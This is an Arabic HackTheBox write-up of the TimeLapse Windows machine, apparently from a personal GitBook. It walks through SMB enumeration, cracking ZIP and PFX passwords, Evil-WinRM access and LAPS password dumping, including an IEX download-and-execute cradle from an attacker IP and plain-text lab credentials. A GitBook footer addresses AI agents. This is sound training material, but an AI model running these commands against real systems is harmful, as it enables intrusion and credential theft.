> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # شرح TimeLapse HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف SMB * كسر حماية ملف ZIP المحمي بكلمة مرور (fcrackzip) * كسر وقراءة ملف .PFX (crackpkcs12) * الحصول على وصول SSL باستخدام Evil-WinRM * تسريب معلومات - قراءة سجل Powershell الخاص بالمستخدم (الانتقال عبر المستخدم) * استغلال LAPS للحصول على كلمات المرور (Get-LAPSPasswords.ps1) (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### إعداد ملف /etc/hosts لحلّ DNS.

## **الاستطلاع والاستغلال:** ### تحديد اسم الجهاز والنطاق استخدام CrackMapExec لتحديد اسم الجهاز ونطاقه. ```bash crackmapexec smb 10.10.11.152 ```

### عرض الملفات المشتركة عبر SMB: استخدام smbclient و smbmap لعرض الملفات المشتركة. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **الوصول إلى المجلد المشترك واكتشاف ملف ZIP محمي بكلمة مرور** استكشاف وتحديد الملفات في المجلد المشترك، مما كشف عن ملف ZIP محمي. ```bash smbclient //10.10.11.152/Shares -N ```

### **كسر ملف ZIP باستخدام fcrackzip** استخدام fcrackzip لمحاولة العثور على كلمة مرور ملف ZIP. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **الاستخراج من ملف PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **كسر كلمة مرور ملف PFX:** #### لكسر ملف pfx عبر كسر كلمة المرور، سيتم استخدام الأداة crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **الحصول على المفتاح الخاص والشهادة من ملف PFX** استرجاع المفتاح الخاص

استرجاع الشهادة ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **اتصال SSL مع Evil-WinRM باستخدام المفتاح الخاص والشهادة**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **الحصول على العلم الأول** الحصول على العلم الأول، "user.txt"

## تصعيد الامتيازات: **عرض مستخدمي DC والامتيازات باستخدام net users و whoami /priv** تحديد المستخدمين والامتيازات على وحدة تحكم النطاق.

#### **تحليل مجموعات المستخدمين واكتشاف عضوية المستخدم "svc/ deploy" في مجموعة "LAPS/ Readers"**

#### **الحصول على كلمة مرور المستخدم "svc/ deploy" بقراءة سجل PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **التحقق من كلمة المرور باستخدام CrackMapExec** تأكيد صلاحية كلمة المرور تم الحصول عليه باستخدام CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **تسجيل الدخول إلى Evil-WinRM باستخدام بيانات اعتماد المستخدم "svc/ deploy"** الاتصال بالنظام البعيد باستخدام بيانات اعتماد المستخدم "svc/ deploy" عبر Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **استخدام Get-LAPSPasswords لاستخراج كلمات المرور** {% embed url="" %} #### **تنزيل سكربت Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **تنفيذ السكربت واسترجاع كلمات مرور الإدارة**

### **التحقق من كلمة مرور الإدارة باستخدام CrackMapExec** تأكيد صلاحية كلمة المرور تم الحصول عليه باستخدام CrackMapExec من حساب المستخدم Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **الاتصال النهائي عبر Evil-WinRM باستخدام بيانات اعتماد المدير** الاتصال النهائي بالنظام باستخدام بيانات اعتماد الإدارة عبر Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **تم الحصول على العلم النهائي :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.